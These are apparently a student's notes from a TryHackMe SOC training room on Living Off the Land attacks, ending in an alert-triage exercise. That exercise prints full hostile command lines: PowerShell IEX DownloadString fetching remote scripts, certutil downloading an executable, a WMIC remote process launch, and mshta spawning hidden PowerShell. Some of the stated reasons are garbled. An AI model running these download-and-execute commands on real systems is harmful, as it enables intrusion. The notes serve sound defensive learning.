

SOC/L1 -11.3. Living Off the Land Attacks

Task 1 - Introduction

Learnt what LoL attacks are

Task 2 - Common LoL Tools and Techniques

Threat actors use Living Off the Land techniques because built-in tools are already trusted, widely available, and often allowed by default controls, so malicious activity can hide among normal operations.

Living Off the Land methods are not limited to Windows; similar approaches exist on Unix and Linux, and public collections document common patterns for both platforms, for example, [LOLBAS \(opens in new tab\)](#) for Windows and [GTFOBins \(opens in new tab\)](#) for Unix.

Task 3 - Real-World Examples

Living Off the Land methods are not limited to individual attackers or small operations. Many organised threat groups, both state-sponsored and financially motivated, depend on these techniques to keep a low profile.

Task 4 - Detecting LOL Activity

PowerShell is a scripting engine used for administration and automation in Windows systems. The **IEX (DownloadString)** pattern to let an attacker fetch a script from a remote server and run it immediately in memory, avoiding disk artefacts and slowing detection.

Attackers use PowerShell because it can run scripts directly in memory without creating files, automate many system actions, interact with the network, and bypass some execution policies. Common purposes include downloading payloads, gathering information, running code stealthily, or modifying system settings.

WMIC (Windows Management Instrumentation Command-line) lets administrators query and manage local or remote Windows systems. It is commonly used by threat actors to execute commands remotely, through starting processes.

Attackers use **WMIC** to execute commands or create processes remotely, collect system information, or establish persistence without using external binaries. It blends with admin behaviour and is often allowed in restricted environments.

Certutil is a Microsoft tool used for managing certificates and encoding or decoding data. Certutil is intended for certificate management; it can download files with `-urlcache`, and it can decode **base64** payloads, turning text blobs into binaries. Attackers use it because it is signed by Microsoft and common in admin workflows.

Mshta runs HTML Application (HTA) files, which can contain VBScript or JavaScript code.

Rundll32 executes specific exported functions from DLL files.

Task Scheduler is a built-in Windows automation; it lets administrators run programs or scripts at specified times, on events such as logon, or on a repeating schedule. Tasks have a name, a trigger (when to run), an action (what to run), and an optional run-as account and conditions. Because it is a standard admin facility, tasks show up in normal system logs and are often allowed by policy, making it a valuable mechanism for both legitimate ops and attacker persistence.

Task 5 - Practical

Find action status LOL alert below:

Severity: Low

User launched Notepad: C:\Windows\System32\notepad.exe

Action: Not Malicious (path normal)

Severity: High

PowerShell IEX DownloadString: powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object

System.Net.WebClient).DownloadString('\https://updates.tryhackme.com/content/payload.ps1\\')

Action: Malicious (IEX downloaded string, hidden, no operation, nonlinear regression)

Severity: Medium-High

Certutil download to Public: certutil -urlcache -split -f

"https://downloads.tryhackme.com/agents/agent.exe" C:\Users\Public\agent.exe

Action: Malicious (-urlcache Tells certutil to work with the URL cache, originally designed to display or delete cached certificate files from URLs. Attackers abuse it because it can download files from the internet -split Originally meant to split embedded ASN.1 elements and save them to files. When combined with urlcache, it forces certutil to save the downloaded content to a file. Without this, the file might just be cached but not saved to the specified path. Ensures the malicious payload actually gets written to disk -f Stands for "force".Overwrites existing files without prompting)

Severity: High

Rundll32 executing temp DLL export: rundll32.exe C:\Windows\Temp\thm_loader.dll,Run

Action: Malicious (run dll as temporary)

Severity: High

WMIC remote process create: wmic /node:WIN-LAB-01 process call create "powershell -NoP -Command IEX(New-Object

Net.WebClient).DownloadString('\http://cdn.tryhackme.com/assets/bootstrap.ps1\\')

Action: Malicious (WMIN=admin query)

Severity: High

Administrator executed: cmd.exe /c dir C:\Windows\Temp

Action: Not Malicious (just went the directory)

Severity: Medium-High

Scheduled backup using: backup.exe /create

Action: Not Malicious (Just backup)

Severity: Low

Disk cleanup initiated by user: cleanmgr.exe /sagerun:1

Action: Not Malicious

(cleanmgr.exe is Windows Disk Cleanup a legitimate system utility that removes temporary files, logs, and other unnecessary data to free up disk space. Runs a preconfigured cleanup profile identified by the number. The number refers to a specific set of cleanup settings stored in the Windows Registry. These settings define which types of files to clean temp files, recycle bin, logs, etc.)

Severity: Medium-High

PowerShell -EncodedCommand observed: powershell -NoP -NonI -EncodedCommand
SQBnAHYAZQBSA...

Action: Malicious (encoded command)

Severity: Medium-High

MSHTA inline JavaScript spawning PowerShell: mshta "javascript:var s=new
ActiveXObject('\WScript.Shell');s.Run('\powershell -NoP -W Hidden -Command \"Start-Process
calc.exe\"',0);close();"

Action: Malicious

(Normal: mshta.exe C:\path\to\file.hta

mshta.exe is a legitimate Windows utility meant to run HTML Application (.hta) files. Attackers abuse it because it can execute JavaScript/VBScript and is a signed Microsoft binary (bypasses some security controls). Running inline JavaScript with mshta is not normal system behavior.

-NoP (NoProfile) Skips PowerShell profile loading

-W Hidden (WindowState Hidden) Hides the PowerShell window.

WScript.Shell ActiveX object to spawn processes.

Launches PowerShell, which then starts another process (calc.exe), which is harmless)

Task 6 - Wrapping up

Examined how attackers repurpose trusted Windows utilities to carry out malicious activity without introducing new binaries. By testing and analysing each command safely, we observed how legitimate administrative tools such as PowerShell, WMIC, Certutil, Mshta, Rundll32, and Scheduled Tasks can be abused for execution, persistence, lateral movement, or evasion. Through these exercises, we developed a clearer view of how to recognise, detect, and respond when normal system processes are used with malicious intent.